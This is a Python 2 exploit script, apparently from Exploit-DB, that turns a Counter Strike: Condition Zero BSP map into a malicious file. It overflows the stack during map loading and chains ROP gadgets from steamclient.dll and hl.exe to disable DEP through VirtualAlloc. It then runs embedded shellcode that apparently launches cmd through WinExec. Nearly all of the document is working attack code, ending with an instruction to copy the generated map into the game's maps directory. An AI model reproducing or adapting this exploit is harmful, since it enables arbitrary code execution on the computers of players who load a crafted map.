#!/usr/bin/env python
# Counter Strike: Condition Zero BSP map exploit
# By @Digital_Cold Jun 11, 2017
#
# E-DB Note: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42325.zip (bsp-exploit-source.zip)
#
from binascii import hexlify, unhexlify
from struct import pack, unpack
import math
import mmap
import logging
fmt = "[+] %(message)s"
logging.basicConfig(level=logging.INFO, format=fmt)
l = logging.getLogger("exploit")
# Specific to the file
INDEX_BUFFER_OFF = 0x92ee0 # ARRAY[int]
VERTEX_BUFFER_INDEXES_OFF = 0xA9174 # ARRAY[unsigned short]
VERTEX_DATA_OFF = 0x37f7c # ARRAY[VEC3], VEC3[float, float, float]
NUM_EDGES_OFF = 0x70f94 # The length that was fuzzed to cause the crash
# No longer used as could not find a gadget to 'pop, pop, pop esp, ret'
# SEH_OVERWRITE_OFF = 0x4126C
# Initial offset into the index buffer where the function to exploit resides
INITIAL_OFFSET = 0xb130 # this is multiplied by 4 for data type size already
# INDEX_BUFFER
# 0: 20
# 1: 10
# 2: 2 --> Vertex Buffer Indexes
# VERTEX BUFFER INDEXES
# 0: 1
# 1: 2
# 2: 4 --> Vertex Data
# VERTEX DATA
# 0: 1.23, 23423.0, 3453.3
# 1: 1.23, -9.0, 3453.3
# 2: 1.0, 1.0, 1.0
# 3: 1.0, 1.0, 1.0
# 4: 0.0, 1.0, 0.0
# Example:
# a = INDEX_BUFFER[2] ; a = 2
# b = VERTEX_BUFFER[a] ; b = 4
# vec = VERTEX_DATA[b] ; vec = 0.0, 1.0, 0.0
def dw(x):
return pack("I", x)
def main():
target_file = "eip-minimized.bsp"
output_file = "exploit-gen.bsp"
print "GoldSource .BSP file corruptor"
print " by @Digital_Cold"
print
l.info("Corrupting target file %s" % target_file)
# Read in and memory map target file
fp = open(target_file, 'rb')
mmfile = mmap.mmap(fp.fileno(), 0, access = mmap.ACCESS_READ | mmap.ACCESS_COPY)
fp.close()
VEC3_COUNT = 63
# then come Saved EBP and return address
start_idx = INDEX_BUFFER_OFF + INITIAL_OFFSET
second_idx = VERTEX_BUFFER_INDEXES_OFF
vertex_data_start = VERTEX_DATA_OFF + 12*0x1000 # arbitrary offset, lower causes faults
l.info("Writing to index buffer offset %08x...", start_idx)
l.info("Vertex buffer indexes start %08x", second_idx)
l.info("Vertex data at %08x", vertex_data_start)
data_buffer = []
for i in range(VEC3_COUNT):
for j in range(3):
data_buffer.append(str(chr(0x41+i)*4)) # easy to see pattern in memory
data_buffer.append("\x00\x00\x00\x00") # dont care
data_buffer.append("\x00\x00\x00\x00") # unk1
data_buffer.append("\x00\x00\x00\x00") # unk2
data_buffer.append("\x00\x00\x00\x00") # numVerts (needs to be zero to skip tail call)
data_buffer.append("\x00\x00\x00\x00") # EBP
data_buffer.append(dw(0x01407316)) # Saved Ret --> POP EBP; RET [hl.exe]
# XXX: bug in mona. This is a ptr to VirtualProtectEx!!
# 0x387e01ec, # ptr to &VirtualProtect() [IAT steamclient.dll]
"""
Register setup for VirtualAlloc() :
--------------------------------------------
EAX = NOP (0x90909090)
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualAlloc()
EDI = ROP NOP (RETN)
--- alternative chain ---
EAX = ptr to &VirtualAlloc()
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------
"""
# START ROP CHAIN
# DEP disable ROP chain
# rop chain generated with mona.py - www.corelan.be
#
# useful for finding INT3 gadget - !mona find -s ccc3 -type bin -m hl,steamclient,filesystem_stdio
rop_gadgets = [
#0x3808A308, # INT3 # RETN [steamclient.dll]
0x38420ade, # POP EDX # RETN [steamclient.dll]
0x387e01e8, # ptr to &VirtualAlloc() [IAT steamclient.dll]
0x381236c5, # MOV ESI,DWORD PTR DS:[EDX] # ADD DH,DH # RETN [steamclient.dll]
0x381ebdc1, # POP EBP # RETN [steamclient.dll]
0x381f98cd, # & jmp esp [steamclient.dll]
0x387885ac, # POP EBX # RETN [steamclient.dll]
0x00000001, # 0x00000001-> ebx
0x384251c9, # POP EDX # RETN [steamclient.dll]
0x00001000, # 0x00001000-> edx
0x387cd449, # POP ECX # RETN [steamclient.dll]
0x00000040, # 0x00000040-> ecx
0x386c57fe, # POP EDI # RETN [steamclient.dll]
0x385ca688, # RETN (ROP NOP) [steamclient.dll]
0x0140b00e, # POP EAX # RETN [hl.exe]
0x90909090, # nop
0x385c0d3e, # PUSHAD # RETN [steamclient.dll]
]
# Can be replaced with ANY shellcode desired...
# http://shell-storm.org/shellcode/files/shellcode-662.php
shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" + \
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" + \
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" + \
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" + \
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" + \
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" + \
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" + \
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" + \
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" + \
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" + \
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" + \
"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" + \
"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" + \
"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" + \
"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" + \
"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" + \
"\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" + \
"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" + \
"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" + \
"\x24\x20\x57\xFF\xD0"
shellcode += "\xeb\xfe" # infinite loop! (we dont want hl.exe to crash)
shellcode += "\xeb\xfe"
shellcode += "\xeb\xfe"
shellcode += "\xeb\xfe"
shellcode += "\xeb\xfe"
shellcode_dwords = int(math.ceil(len(shellcode)/4.0))
extra_dwords = int(math.ceil((len(rop_gadgets)+shellcode_dwords)/3.0))
# Loop count (needs to be the exact amount of ROP we want to write
data_buffer.append(dw(extra_dwords))
for addr in rop_gadgets:
data_buffer.append(dw(addr))
for b in range(shellcode_dwords):
data = ""
for byte in range(4):
idx = byte + b*4
# pad to nearest DWORD with INT3
if idx >= len(shellcode):
data += "\xcc"
else:
data += shellcode[idx]
data_buffer.append(data)
second_idx += 8000*4 # time 4 because we skip every-other WORD, which means each index has 4 bytes
# 8000 is arbitrary, but it doesn't cause the map load to exit with a FATAL before
# we can exploit the function
# UNCOMMENT TO CHANGE INITIAL SIZE OF OVERFLOW
#mmfile[NUM_EDGES_OFF] = pack("B", 0x41)
for i in range(int(math.ceil(len(data_buffer)/3.0))):
mmfile[start_idx+4*i:start_idx+4*(i+1)] = pack("I", 8000+i)
mmfile[second_idx+2*i:second_idx+2*(i+1)] = pack("H", 0x1000+i)
second_idx += 2 # required because the game loads every-other word
# This data will now be on the stack
for j in range(3):
sub_idx = j*4 + i*0xc
data_idx = i*3 + j
towrite = ""
if data_idx >= len(data_buffer):
towrite = "\x00"*4
else:
towrite = data_buffer[i*3 + j]
mmfile[vertex_data_start+sub_idx:vertex_data_start+sub_idx+4] = towrite
#l.debug("Write[%08x] --> offset %d" % (unpack("I", towrite)[0], vertex_data_start+sub_idx))
# write out the corrupted file
outfile = open(output_file, "wb")
outfile.write(mmfile)
outfile.close()
l.info("Wrote %d byte exploit file to %s" % (len(mmfile), output_file))
l.info("Copy to game maps/ directory!")
if __name__ == "__main__":
main()
